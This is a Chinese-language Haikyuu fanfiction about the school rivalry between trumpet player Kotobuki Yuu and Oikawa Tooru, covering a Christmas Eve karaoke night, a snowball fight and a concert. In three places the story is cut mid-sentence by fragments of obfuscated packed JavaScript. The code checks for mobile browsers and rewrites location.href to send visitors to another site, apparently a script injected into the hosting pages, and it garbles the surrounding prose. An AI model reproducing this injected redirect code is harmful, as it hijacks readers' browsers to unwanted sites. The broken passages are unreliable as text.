《青叶城西的小号首席会爱上排球笨蛋吗?》 1. chapter 1 今天是个平安夜,宫城县迎来了第一场雪。 二年六班是青叶城西最能闹腾的班级。 作为班级的灵魂领袖,班长浅川纪香提出晚上一起出去庆祝平安夜。 一呼百应。 浩浩荡荡的一群人就这样攻占了KTV的大包厢。 琴吹悠也是大军中的一员。 今天吹奏部的指导老师有事,难得不用留下来进行社团活动,加上最近自己的演奏状态不佳,合奏的时候频频出错,她打算适当减少一下训练量,顺便转换一下心情。 “小悠。”班长浅川纪香询问走神的琴吹悠,“要点什么歌吗?” 她点了一首旋律舒缓的歌,这首歌同样在浅川纪香的歌单里。 让人想到在夏日骑单车在盘山小路上,迎面吹来的晚风。 “诶,小悠喜欢的歌果然和小悠本人的性格很像呢。” “没有啦。” 她像是有点害羞地摆摆手。 这首歌和她的真实性格天差地别。 她私底下最爱听的曲风两级分化。 除了经常演奏的古典乐,就是各类摇滚乐。点这首歌完全是因为这是自己挑选过的,KTV绝不会出错跑调的战歌。 她轻酌一杯茶水,掩饰扬起的嘴角。 ——今日KTV最佳唱将的身份她琴吹悠笑纳了。 纪香眨了眨眼,眼前的琴吹悠恢复了平日的模样——有点内敛,人多的地方放不开,乖巧地缩在角落里。 …嗯,刚刚看到的小悠露出的,像偷吃小鱼干得逞后的猫那样的笑容,大概是错觉? 先开始热场的是鹿人贾,他是班上的百事通,人缘极佳,和谁都说的上话。 在他一番破锣嗓子的渲染下,KTV一下变得热络了起来。 一曲终了,灯光似乎和曲子的播放进度相配合,晃眼的炫彩灯光渐渐暗淡。 漆黑的包厢兀地响起敲门声。 下意识地,琴吹悠抬眸望去。 厚重的包厢门被轻盈地推开。 自动切换的灯光缓缓亮起,暖黄色的光洒在及川彻的栗色短发上。 发梢看起来蓬蓬的,让她短暂想起了毛茸茸的蒲公英。 蒲公英脑袋招摇地收揽了所有人的视线,面上挂着自得的笑,几乎没有寻觅,他的视线锁定了面色如常的琴吹悠。 蒲公英脑袋笑得更放肆了,无声地张了张嘴。 得益于晃眼的灯光,琴吹悠把这人的口型看得一清二楚。 「我帅吧」 琴吹悠收回目光。 众所周知,帅而不自知的男子是懵懂的帅哥;帅而内敛的男子是谦逊的帅哥;帅而自知还显摆的男子是油腻的物种。 她撤回自己先前的评价。 纵使看起来毛茸茸的,此人的头发依旧跟蒲公英不沾边。 用狗尾巴草形容才更贴切。 “装。” “嗯?”被及川彻的出场惊艳到的纪香没听清小悠的话,她疑惑地看向小悠。 琴吹悠脸上扬起无害的笑,就像什么话也没说过。 凭她对及川彻的认识,那家伙,绝对是在外面等了许久,才谋划出这样的出场。 * 岩泉一的铁拳无声落在及川彻的后背上,他浑身冒着黑气,忍无可忍:“还不快进去。” 这家伙,非要带着他在门口徘徊十五分钟,记录灯光切换的规律,只待「最合适」的时机入场。 近期某人的臭屁程度呈指数级增长。 及川彻举起手投降:“好啦小岩,我这就进去。” 岩泉一目睹着及川彻跟花蝴蝶一般跟周围的一圈人打了招呼,唯独在琴吹悠身上短暂地停滞了目光。 霎时间,两人眼神交错,一阵刀光剑影。 岩泉一仿佛能闻到空气里弥漫的火药味。 彼此嫌弃的两人装作友好地挥了挥手。 恰巧,整个包厢唯有琴吹悠的身侧还有空位。 “来来来,小岩。” 他在及川彻的推搡与琴吹悠期待的目光下,坐在了这两人的中间。 原来这就是万众瞩目的感觉吗,岩泉一察觉到向此处投来的目光空前的多。 大抵是因为及川彻和琴吹悠分别位列青叶城西最受欢迎的男生女生第一名吧。 岩泉一感到头大。 他跟这两人都不同,对「出风头」一事,没有任何的执念。 * “我来点歌吗?就点一首SLEEPWALK吧,是呀,我很喜欢这个乐队。” 狗尾巴草脑袋一摇一摆。 琴吹悠的心情却不大美好。 和死对头是同好,没有比这更糟糕的事情了。 “小悠,是你的歌。” 琴吹悠收敛了表情,露出一个甜甜的笑。 琴吹悠这个笑容仿佛能导电,电流越过岩泉一,精准命中及川彻。 岩泉一感受到身边的及川彻极为夸张地抖了抖。 他皱眉,与及川彻拉远了距离,大概是怕被传染:“又犯病了?” 身为小号首席,琴吹悠不仅吹得好,歌唱水平更是一流,音准和音色皆是上乘。 曲罢,岩泉一和众人都忍不住鼓掌喝彩。 被夸得飘飘欲仙的琴吹悠像个鼓鼓囊囊的气球,步伐轻盈地飞回了座位,嘴上谦逊地回着“哪有哪有”。 刚一落座,就听到岩泉一旁边某人不加掩饰的笑。 「难道这家伙觉得自己唱得比我好?」 她确实还没听过及川彻唱歌,虽然不乐意承认,但此人的本音还算好听,如果没有深入了解他的人品,大概会被这副外貌和音色蛊惑。 更何况唱得还是她喜欢的乐队的歌,从选曲上就胜出一筹。 琴吹悠不由得紧张起来。 …… 五分钟前这么想的自己绝对是个傻子。 及川彻唱起歌来和「好听」二字完全不沾边,堪称魔音贯耳,他一开嗓,整个包厢的同学都愣住了。 比他刚踏入包厢门时更“惊艳”众人。 他非但五音不全,还尤为自信,旁人察觉自己和伴奏不沾边,大多会怀疑自我进而压低音量。 而他仿佛觉得伴奏走调了,用提高音量的方式来与伴奏对抗。 听这种人唱歌对音准极佳的琴吹悠来说,简直是场酷刑。 难道是及川彻新琢磨出来的报复我的方法? 早有准备的岩泉一默默戴上了耳塞,他瞥到身侧琴吹悠怀疑人生的表情,将多的一幅耳塞递去。 戴上耳塞的琴吹悠感觉全世界都清净了,她长长地舒了口气,和身侧的岩泉一通过手机交流起来。 「Trumpet:岩泉同学,耳塞链接有吗?」 「Trumpet:连这种噪音都能彻底隔绝,种草了。」 「岩泉一:分享了一个商品链接」 「Trumpet:抱拳jpg.」 岩泉一的视线落在琴吹悠的昵称上,看来琴吹悠真的很喜欢小号。 即使是某个排球狂魔,也没有把排球的英文作为自己的昵称。 …等等。 他的指尖诡异地停滞了片刻,落在及川彻的个人昵称上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228641|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他之前一直给及川彻备注为「垃圾及川」,所以也未能察觉到对方更改了个人昵称。 [Volleyball] ……? 他徘徊不定的指尖反复扒拉着二人配对的昵称,很快又发现了一处端倪。 ——这两人的头像也很不对劲。 某知名玩偶品牌喜欢跨界联动,将各种乐器与体育器材塑造成玩偶的形象。曾经有一段时间许多人的乐器包或者是运动器材包上都挂着这样的小挂件。 他端详着琴吹悠与及川彻的头像。 一个是金灿灿的Q版小号。 一个是圆滚滚的三色排球。 怎么说都不对劲吧!!! 另一边,唱得酣畅淋漓的及川彻自我感觉良好地退了麦。 他满意地看着众人瞠目结舌的表情。 很好!看来他唱出了摇滚的精髓! 他目光一凛。 只见排排坐的岩泉一和琴吹悠,耳朵上都戴着耳塞。 怎么连小岩都这么恶劣! 他刚想质问一番,就被岩泉一摁在沙发上,一脸懵的他在岩泉一的示意下看了看自己的手机,聊天框内,小岩发来了一条令他瞠目结舌的消息。 「小岩:你和琴吹悠,什么时候在一块的?」 「垃圾及川:哈!!!何人在毁我清誉」 「小岩:【图片】」 及川彻一看,是被小岩拼凑在一块的昵称+头像的对比图。 他刚起的气势又哑火了。 原来毁我清誉的人是我自己。 他噼里啪啦地狂敲屏幕,发去一大段解释。 「垃圾及川:你误会了!我俩怎么会可能在一块,我就算变成狗也不会和琴吹悠在一起。」 岩泉一思索。 这家伙本来就很狗,不作数。 「垃圾及川:这件事情是这样的,那天我和琴吹悠吵架,她说我根本就不爱排球,我说我对排球的爱日月可鉴。她于是说我连昵称都跟排球毫无关系,而她才是把小号天天记在心上的人,我当然很不服气,立马就把名字改成了排球,还连带着把头像也给换成我最心爱的排球,以示我对排球的忠诚。」 「垃圾及川:而琴吹悠不甘示弱,抄袭了我的创意!也更换了头像。」 「垃圾及川:小岩你信我!」 岩泉一从震惊的情绪中抽离,恢复了理智。 他仔细一想,过去两人的互相嫌弃不像是伪装,而且也没有谈底下恋情的必要。 及川彻的这番话大概有六分真,剩下的四分用于美化自己的行为。 让他有点困惑的是,琴吹悠性格很好,只要跟她相处与交流都会觉得如同春风拂面,有她在的地方都不会冷场。 怎么就偏偏和及川彻合不来? 甚至两人相处模式就像两个幼稚鬼碰了头,一见面,两人的智商就会直线下滑,在莫名其妙的事情上针锋相对。 他忍不住又问了一回,一如半年前,他第一次察觉到及川彻和琴吹悠之间异常的氛围时,问他的话语。 「小岩:你俩到底是因为什么事看对方不顺眼?」 旁边的人融在微弱的灯光中,神色也明明灭灭。 良久,在岩泉一怀疑某人看着手机睡着了,想把他晃醒时,及川彻才回过神。 一声消息提示音响起,岩泉一打开聊天界面。 「垃圾及川:什么事都没有,天生气场不合。」 「垃圾及川:(^_^)」 鬼才信。 岩泉一关掉手机,懒得理会这句掩饰都不愿掩饰的谎话。 2. chapter 2 天生气场不合的二人此时在激烈对线中。 「Trumpet:你不是今天有排球练习?怎么会过来」 「Volleyball:KTV又不是你家开的,我想来就来。」 KTV的冷气开得满大的啊,纪香默默看了眼敲打手机屏幕的小悠。 她怎么感觉小悠要燃起来了。 「V:教练感冒了,让我们自主练习。」 及川彻摸了摸鼻尖。 不对,他干嘛要跟她解释。 「V:怎么了?KTV之王的称号要被我夺走了,要不要让让你。」 哇塞。 琴吹悠摘下耳塞,悠哉地探出半截身子,手捏耳塞,越过岩泉一,在及川彻视线所能及的地方晃了晃。 一切尽在不言中。 及川彻的脑袋冒烟了。 他扯了扯岩泉一的衣袖。假装没有看到他俩互动、强行降低存在感的岩泉一递去了“想干嘛”的表情。 及川彻:“小岩,真有那么难听?” 岩泉一:“…” 你说呢。 琴吹悠:“噗。” 纪香:“怎么了小悠?” 琴吹悠:“在看漫画,一个角色自取其辱,有点好笑。” 「V:你呢,今天不用训练?」 「T:指导老师也病了」 「V:哈,还蛮巧。」 「T:他俩不会一起过圣诞节吧」 别说,还真有可能。体育生和艺术生的经典搭配。 及川彻倒吸一口凉气,宛如发现新大陆般,把聊天界面呈现在岩泉一的面前。 …… 岩泉一拧了拧眉心:“教练四五十岁了。” 及川彻指指点点:“小岩,你好迂腐,年龄不是问题。” 岩泉一:“但是吹奏部的指导老师也是个男的啊!!!” 及川彻面露遗憾地退下了。 及川彻不知道吹奏部指导老师的性别也就算了,琴吹悠那番话,大概是为了逗及川才那么说…的吧? 岩泉一不大确信地用余光看了看身侧的人。 琴吹悠显然听到了他俩的对话,她的脸上此时挂着跟及川彻同款,没吃上瓜的遗憾神情。 她扭头,尚存侥幸:“性别也不是问题?” 及川彻瞳孔一震,原地复活。 岩泉一攥紧了岩拳。 “你们两个的脑回路都收敛点啊!监督的女儿已经十几岁了!” “唉。”左右两人齐刷刷丧气地瘫倒在沙发上。 岩泉一顿感头大,他有一种被两只及川彻夹击的错觉。 不一会儿,琴吹悠先重振旗鼓。 「T:天哪,你和你的教练真的熟吗,连他有十几岁的女儿都不知道。」 俨然要把此次推理的失误完全赖在及川彻头上。 及川彻头脑清晰。 「V:才不是,明明是你先提的这种可能性,休想赖在我头上!」 「T:就是你的失误。」 「V:反弹。」 「T:反弹。」 「V:反弹。」 由于身旁两人埋头苦战而乐得清闲的岩泉一此时被琴吹悠拍了拍。 岩泉一对上了琴吹悠笑得弯弯的眼睛。 不得不说,跟及川彻和琴吹悠相处对眼睛很友好。 过去听过同年级的人说,琴吹悠的祖母是英国人,因此她也遗传了金灿灿的长发,被KTV的光线一照,岩泉一都觉得那样的笑容有些晃眼了。 身旁的某人又触电般发出“咦~”的怪叫。 琴吹悠就这样扬着甜滋滋的笑,向他展示手机屏幕。 随着她下滑的手指,长达1000条的「反弹。」就这样展现在岩泉一的面前。 岩泉一瞬间熄灭了眼中的光。 很好,他现在对琴吹悠完全免疫了——怎么会有跟及川彻一样幼稚的人! 他们甚至在反弹大战开始前一同制订了规则:截止到一千条,谁发送的反弹少就反弹到谁头上。 岩泉一:“你们…刚刚…一直在发这种东西?” 默不作声的及川彻咬牙切齿,满是对失败结局的愤怒。 琴吹悠笑得更开心了:“是啊,我赢了,麻烦岩泉同学做个见证人。” 岩泉一怀疑人生。 这是什么莫名其妙的好胜心? 拿下“反弹”比赛的琴吹悠肉眼可见地心情由晴转艳阳天,她举手:“纪香,我还想再点一首!” 她点的是Last Christmas,一首经典的圣诞曲目。 坐在高脚凳上的琴吹悠比上首歌的状态松弛多了,她的脚尖悄悄一点一点地打着节拍,声线像圣诞树上缀满的铃铛,被风一吹脆生生地奏响。 及川彻和搭着立式麦克风的琴吹悠隔空对视,她的眼里明晃晃地写着“怎么样,我唱得比你好吧”。 他却有点不自在地收回了目光。 琴吹悠的歌声没有因为他收回的目光而停下,依旧盘旋在耳畔。 「I gave you my heart 我把心交给你 But the very next day you gave it away 而你竟在第二天将它抛弃」 纪香忍不住笑了笑。 “小悠虽然唱的是这种歌词,配上她那么轻松的歌声就像是拿着扫把将对方利落地扫地出门。” 及川彻在脑海中设想了一番这样的画面——很好,这很琴吹悠。 班长大人颇具慧眼,有望成为除自己和被自己告知真相的小岩之外,第三个看透琴吹悠本性的人。 他抬头,视线落在琴吹悠一晃一晃的脚尖,他想到邻居家那只偷到小鱼干就会翘尾巴的猫,冷不伶仃地笑了下。 岩泉一感到诡异,有点怕被传染傻气,默默远离了他十厘米的距离。 及川彻意识到自己的傻笑,他拉平嘴角,将自己此时的感受总结为:死对头总算装不下去了露出马脚,而他乐呵呵地看戏。 二年六班的同学们都是气氛组。 有人拿起沙锤,有人拿起手摇铃,有人不知从哪掏出来礼炮,当下就“咻咻”蹿出漫天彩带。 更有性情中人看到如此热闹的气氛,直接二话不说打开身侧的乐器包,从中掏出了闪亮亮的东方传说级乐器——唢呐。 旁边的同学连忙摁住他:“这可不禁吹,我的耳朵说它还想多活几十年。” 性情的同学遗憾地把唢呐又放了回去。 原本还端端正正坐在高脚凳上唱歌的琴吹悠看到台下众人的“才艺演出”,罕见地破了功,前俯后仰地笑出了声,揉了揉眼角笑出的泪花,摆了摆手:“我不行了,真的唱不下去了。” 说完就跃下了唱台。 忘记是谁先提的出去玩雪,总之又是一呼百应。在纪香班长“别忘了把东西带上”的叮嘱下,一群人浩浩荡荡地奔赴公园,找了片大空地。 平安夜的树上挂满了彩灯,照得满天飘洒的雪也颜色各异。雪是从早上开始下的,已经下了几乎一整天,厚度可观。 众人怀揣着同样的坏点子,彼此交换了目光。第一个发起攻击的是鹿人贾,他捏了团雪,毫不犹豫地向唢呐同学发起进攻。 霎时间,所有人不分青红皂白,见人就开始扔雪球,连岩泉一都被人偷袭,随后加入战场。 “你怎么也躲这。”及川彻也不想被发现,小声问躲在树后的琴吹悠。 这棵树是整个公园最大的榕树。 “我可不想被雪球袭击,你呢?” 臭屁及川:“我这衣服可是新买的。” 死对头之所以是死对头,就在于他们总是无时无刻想着给对方挖坑,正如此时的琴吹悠。 她几乎是在及川彻说出“新买的衣服”的下一秒,目光游离到了有些积雪的榕树树枝上。 这棵有点不行,太大了,摇不动。 她朝及川彻挥挥手。 还没等她编出什么理由,对方居然一声不吭地就跟了过去。 琴吹悠一愣,有点不自在。 不过她还是若无其事把及川彻带到了一棵小树下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228642|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她满肚子的坏水忍不住溢了出来,笑意挂在嘴角,跟个小炮仗一样弹出去,用力霍愣霍愣小树。 小树的积雪还没落下,她也尚未来得及逃跑,手腕被及川彻扣住了。 琴吹悠还没回神,她只觉得奇怪。 明明都在外面玩了这么久的雪,他的手却比自己的口袋还要暖和。 还未搞明白此人的手滚烫的原因,哗啦啦的雪先一步将她砸了满头。 琴吹悠还在状况外,愣愣地摇了摇脑袋,于是雪花从她金黄色的脑袋上落下几朵。 自己也满头落雪的及川彻笑得更开心了,他轻轻把琴吹悠的手举高。 “被逮捕了,意图用落雪谋害我的犯人琴吹悠,你还有什么好狡辩的?” 琴吹悠总算回归了战斗模式。 她立马蹲下,旋即用自己「反弹」大战冠军的手速,手搓了一个巨大的雪球,在及川彻目瞪口呆的目光下,毫不犹豫地朝他砸去。 及川彻的新衣,out。 及川彻悲愤,及川彻奋起,及川彻进入备战状态并揉了个雪球。 笑盈盈的琴吹悠忍不住打了个喷嚏,揉了揉自己的鼻尖,冻红的手和红彤彤的鼻尖格外显眼。 及川彻像被戳破的气球,放下了手上的雪球,让它回归大地,嘴上没有懈怠:“哇,好菜啊,怎么有人玩雪玩了没有三分钟就感冒了。” 琴吹悠气鼓鼓地瞪他:“我没感冒,来战。” “我不~你说打我就跟你打,岂不是很没有面子。” 好气!琴吹悠接着瞪。 瞪着瞪着,她看到及川彻打开了一直背着的挎包,随意地拉开拉链,从里面掏出一颗红彤彤的蛇果。 红彤彤的蛇果被递到她面前。 “今天给排球部的大家都送了个遍,结果多拿了一个。”他夸张地皱了皱眉头,好像很嫌弃,“我最讨厌吃蛇果了,给你了。” 琴吹悠果断:“才不要,我才不吃你送的东西。” 及川彻:“你听过没,一天一苹果,疾病远离我,最适合你这种病号了。” 琴吹悠盯了他半晌:“你今天好怪,你好像巨——想我收下这颗蛇果。” 哈!搞笑。 他今天货真价实地出门多拿了一颗平安果,恰巧没有人能送,好心好意分给免疫力低下的琴吹悠一颗。 他对她才没有什么别的想法,要是对方要说什么误解的话,自己包立马嘲笑她。 及川彻屏息,看着垂眸的琴吹悠,已经准备好怎么嘲笑她的「多想」了。 琴吹悠:“我明白了,你——” “你是哪来的后妈?” 她拿过蛇果:“想要给我这个白雪公主下毒。” 哪有人说自己是白雪公主的! 他怎么可能给别人下毒! 及川彻气坏了。 明明琴吹悠没有自作多情地误解什么,但对方这样的设想让他更生气了。 他伸手:“不送你了。” 琴吹悠三两下从包里拿出矿泉水,当着他的面把蛇果洗得亮晶晶的,然后一口咬下。 及川彻不送了,那她就收下了。 “还蛮甜。” 这回不像邻居家的猫了。 像抱着瓜子啃的仓鼠。 气鼓鼓的及川彻又被戳漏气了,他酝酿了许久仍然气不起来,只好勉强维持脸上臭臭的表情。 琴吹悠又不加掩饰地盯了盯他。 久到及川彻都怀疑自己脸上开花了,她才收回目光。 还未等他松一口气,一颗圆滚滚的苹果出现在了他面前。 “小气鬼,吃你颗苹果气了一路。”她嘟囔,“前面还说是送我的呢。” “这是吹奏部的成员都有的,给你了。” 当天晚上,及川彻做了一个梦。梦里自己巨型的大号小号单簧管长笛上低音号包围,每个乐器的声线都跟琴吹悠的如出一辙,它们一说话就会吐出一颗苹果,于是他很快就被苹果海淹没了。 梦里的他放弃挣扎,拿起一颗苹果啃了一口。 确实蛮甜。 3. chapter 3 琴吹悠把谱子放进谱架。 上面满满当当地写着各个段落吹奏时的注意事项,对于难吹的地方进行了重点标注。 [这段需要注意气息,戒骄戒躁,你一定可以!!] 十二月底有一个小型音乐会,月聆老师建议她们参加。 青叶城西吹奏部的水平不算高,这么多年只拿过一次东北赛区的废金,时间是七年前。 而目前的吹奏部,进东北赛区预赛都吃力。 但这种情况也很正常,大多数人进入吹奏部以及学习音乐只是基于兴趣,并没有考进音乐大学深造的打算。 “早上好啊,早间,你今天的发饰好好看!” “今天练习完我们一起去逛街吧,我帮你挑一下。” “呜呜,太爱你了早间。” 所以在青叶城西吹奏部,没人会说“这次我们的目标是进军全国大赛”,月聆老师也不会说。 别人的态度与吹奏部能否进军全国大赛,对琴吹悠来说都无所谓。 练习小号是她自己的事情。 她将曲谱翻页。 月聆老师是很好的指导老师,好到她都觉得留在青叶城西是屈才了。 选曲也结合了吹奏部的水平分布,乐曲名叫《绝不》,传达绝不妥协、与命运抗争的精神。高潮部分是一段小号独奏。 几乎没有经过竞争,所有人都认为这一部分应该由琴吹悠来演奏。 毕竟她的水平最高。 她又高兴地翘起脚尖。 ——她一定会把这部分练好的。 脸颊突然一阵冰凉,纤细的手指戳了戳琴吹悠的脸颊,随后变本加厉地蹂躏起她的脸颊肉。 她都不用回头,嘟囔着抗议:“不要揉我脸,会变得脸大的,笹原学姐!” 笹原拉开椅子,坐在她身旁:“都瘦成锥子脸了,圆点才好,还有,都说了叫花凛姐。” “那不礼貌。” “小古板。” 她看了眼琴吹悠的谱架,心领神会地调侃:“某人要吹独奏部分,是不是很开心啊。” “那可不。”仗着现在吹奏部人少,琴吹悠得意,“之前都是笹原学姐的独奏,这次总算轮到我们小号了。” 笹原忍不住又揉了揉她的脑袋。 笹原学姐是琴吹悠在吹奏部唯一能够完全展现自己的对象,琴吹悠自己总结的原因有两条: 一是笹原学姐的性格太好了,又极其能够保守秘密,无论高冷话少的成员,还是话唠精,什么性格的社团成员,笹原学姐都能笑眯眯地和她们交流。 二是,笹原学姐是吹双簧管的,不管她吹得再好和琴吹悠这个TOP癌都不是一个竞争赛道的,好胜心无处发挥的琴吹悠只能与学姐友好共处。 “下学期学姐就不在这了,会不会想我呀。” “…才不会。” 学姐捧心,演技浮夸:“好伤心,我要哭了。” 就不能演得逼真一点吗,琴吹悠心想。 过了半天,她小声:“会的。” 笹原学姐给了她一个大大的熊抱,并用脸颊和她贴贴:“这么纯正的傲娇我只在轻小说和动漫里见过!” 琴吹悠花了整整一分钟挣脱这个让人窒息的拥抱,她义正言辞:“刚刚学姐说的那两个字,和我没有任何关系。” 学姐眼神飘忽,显然没听。 “还有一件事要跟你说。” “经过全体吹奏部成员投票,下一届的部长就是我们的小悠啦。” 琴吹悠如临大敌:“我不干。” “我才不想管那些,我只想练……” “啊,好吧。” 琴吹悠警惕,笹原学姐竟然这么好说话。 “那我只能找一个比小悠更强的,更讨人喜欢的孩子来接任了。” 哈! 明目张胆地对她使用了激将法,这种小小圈套,她岂会上当。 但「更强」瞬间激起了琴吹悠的好胜心,她的嘴有自己的想法,当场应下:“我当。” 得逞的笹原学姐施施然地离开了。 琴吹悠看着亮堂堂的小号映着自己焉了吧唧的面孔。 她气势汹涌地吹起小号。 早间苗子一震,戳了戳栀子:“我每次都会觉得,都是一张谱子,怎么学姐吹出来是如听仙乐耳暂明,到我这就是呕哑嘲哳难为听呢。” 同为小号组·琴吹悠超级粉丝·浅川栀子:“拜托,那可是琴吹学姐。” “琴吹学姐随便一吹,就是滔天的骇人气势!” 早间:“……” 琴吹学姐的激推,恐怖如斯! 尚存理智的早间:“但《绝不》不是跟命运抗争吗…琴吹学姐是要把命运掀飞吗。” * “小岩~你哪来的音乐细菌啊,居然有两张音乐会的票。” “垃圾及川,我比你这种五音不全的人更有音乐细胞。”岩泉一说道,“我阿姨是这个音乐会的组织人,所以多给了我两张票。” “她说我们学校吹奏部的也会来演出,可以顺道看看。” “那岂不是会见到小号魔王。” 及川彻满脸不情愿。 “我听说你给她送了平安果。”岩泉一话音一转,“你俩到底什么关系。” 及川彻漫不经心地踹了颗小石子:“死对头啊。” “互送平安果的那种?” 及川彻:“拜托小岩,你咋这么恋爱脑呢,看到两个人送平安果就有一腿,更何况我真的是随手多拿了一颗,随手送给她了。” 无故被贴上「恋爱脑」标签的岩泉一深吸一口气,他问:“吹奏部这次的选曲是什么?” “《绝不》啊。” 岩泉一停住脚步,冷笑:“不知道吹奏部来这演出,但连人家的选曲都知道了?” 及川彻一噎:“我们不是每次晨练跑步都会路过吹奏部,她们吹得那么大声,我不知道都难。” 行呗。 某个有音乐细菌的人随便一听就能知道吹奏部选的冷门曲目,看来对方的音乐素养确实在自己之上。 ——绝不是留心了去打听。 及川彻觉得小岩戴着有色眼镜,就算自己的音乐天赋属实有限,喜欢听还不行了吗。 他是真的喜欢小号的音色,喜欢小号演奏出的曲子,甚至在升入高中时,得知自己班上有个小号首席后,忍不住多关注了对方几次。 结果却不大好。 关注过多,不小心撞见琴吹悠“本性暴露”的时刻,自己还没来得及说什么,就被琴吹悠威胁一通。 其实就算琴吹悠不“威胁”他,他也没有把别人的事情往外说的习惯。 但莫名被“威胁”一通,他咽不下这口气,于是和琴吹悠的相处模式就演变成这样「人前互不相识,人后疯狂互呛」 及川彻回忆了一路,一晃眼就已经坐在了观众席。 和排球比赛时热火朝天的氛围不同,音乐会是一种极端的「静」,他不自知地屏住了呼吸。 巨大的幕布被缓缓拉开,唯一的光源聚焦于舞台。 这是一个小型的音乐厅,小岩的内部票让他得以坐在前排。 所以理所当然的,他一抬头,看见了琴吹悠与她的小号。 那是一把保养得当的小号,金属质地的小号在射灯下泛着光泽,让人联想到日照之下波光粼粼的湖面。 及川彻侧目,依着座位扶手的手背上,落下了晃眼的光斑。 他像被烫到了,不自觉地蜷缩起手指。 他听过很多次《绝不》,音乐软件中收藏的版本是某个知名乐团演奏的,青叶城西吹奏部的演出和那个乐团没有任何的可比性。 太生涩。 他旁边的听众懒洋洋地打了个哈欠,垂下头打开手机。 及川彻虽然没有打开手机,但也有点心不在焉,目光徘徊在手背的光点上。 突然,眼前的光点晃了晃,他似有所感地抬起头。 视线还未锁定,小号嘹亮的音色更快抵达耳畔,他知道这是第三乐章的小号独奏部分。 却跟记忆中的演奏不一样。 《绝不》是交响乐的经典曲目,创作于作曲家暮年,他一生颠沛流离,经受命运磨练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228643|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他所传达的「永不妥协」,是一种更为厚重的情绪。 像千帆历尽的老者,给年轻人的谆谆教诲。 所以即便选择了用小号来演奏,历来的演奏者都会用更温和的处理方式。 琴吹悠传达的也是「永不妥协」 但和谆谆教诲毫不沾边。 如果命运卷起一股巨浪,在场的观众是掌舵者,琴吹悠在后面把握航向,她一定会在旁人颤颤巍巍地想要掉头时,自己成为掌舵人。 不由分说地冲向巨浪。 这是她的永不妥协。 光点依旧在手背上晃动。 及川彻觉得那束光更炽热了,所到之处就像被烈火点燃。 他想起在室外练习排球时,每当排球跃向天空,他跟着三色排球的轨迹望向天空——悬挂在空中的那轮骄阳。 直到走出音乐厅,被冬日的寒风糊了一脸,他的手背依旧滚烫。 良久,他听到自己问小岩: “小岩,你觉得琴吹的独奏怎么样?” “排球。” “诶?” “听得我热血沸腾,像打了鸡血一样,今天能多颠一百下排球。”岩泉一感叹,“这难道就是音乐的力量吗?” 哦—— 及川彻恍然大悟。 原来,他刚刚头晕目眩,看琴吹悠和她的小号周围仿佛发着光,是因为被音乐唤起了自己对排球的一腔热血! 他目光澄澈,不甘示弱:“我今天可以多颠两百下!” 及川彻的脑中冒出了一个绝佳的主意。 「Volleyball:^_^」 「Trumpet:有事启奏,无事退朝」 「Volleyball:你们今天的演奏有录音吗」 「Trumpet:…?」 「Volleyball:我想要一份,每天有空听一听。」 嘶。 琴吹悠看着聊天界面,摸不着头脑。 及川彻是被夺舍了吗。 就算是吹奏部里最崇拜她的栀子学妹,也没有天天听她演奏的习惯。 琴吹悠心情极佳。 她甚至决定,只要及川彻这次说点好话(比如琴吹悠的小号演奏天下第一),她可以既往不咎,把自己的演奏录音发对方一份,并不再跟他做死对头了。 手机响个不停。 「Volleyball:虽然你的演奏和原版的《绝不》几乎没有任何关系,但它有奇效啊!」 「Volleyball:听了它,我人都不困了,马上可以去颠两百个球。」 「Volleyball:我决定把它弄成我们排球队练排球时的背景音乐。」 琴吹悠深吸一口气。 眼前的消息模糊扭曲成了以下文字: [你的演奏跟原版一毛钱关系都没有] [听了它,能止小儿夜啼,本来想睡觉的我都睡不着觉了] 琴吹悠攥紧拳头。 及川彻的消息还在一条一条弹出。 琴吹悠心想:[一直在挑衅] 及川彻:“小岩,你看我这次说话的态度很好吧。” 他得意:“既肯定了琴吹悠她演奏的独特之处,又联络了咱们排球部和吹奏部的感情,说不定下次我们比赛能和稻荷崎排球部一样,有整个吹奏部作为拉拉队呢——好拉风!” 岩泉一沉默了。 他看向及川彻那满满的,富有歧义的话语,以及屏幕对面缄默许久的琴吹悠。 沉默的岩泉一随意发了一个表情包。 及川彻惊呼:“小岩!你干嘛给琴吹发了个狗狗捧爱心啊!她误会了怎么办!” 及川彻连忙拿回手机,打算撤回。 他被红色感叹号控在原地。 「消息已发出,但被对方拒收了」 及川彻茫然地抬起头。 岩泉一叫住他:“嘿,别动。” 他举起手机,咔嚓一下拍下了此刻及川彻的表情。 他满意欣赏:“你现在就像那个,比格灵魂出窍的表情包。” 4. chapter 4 最后两人还是通过岩泉一的牵线搭桥加回了好友。 刚被放出黑名单的及川彻立马进入战斗模式。 「Volleyball:你怎么这样!我是在夸你呢!」 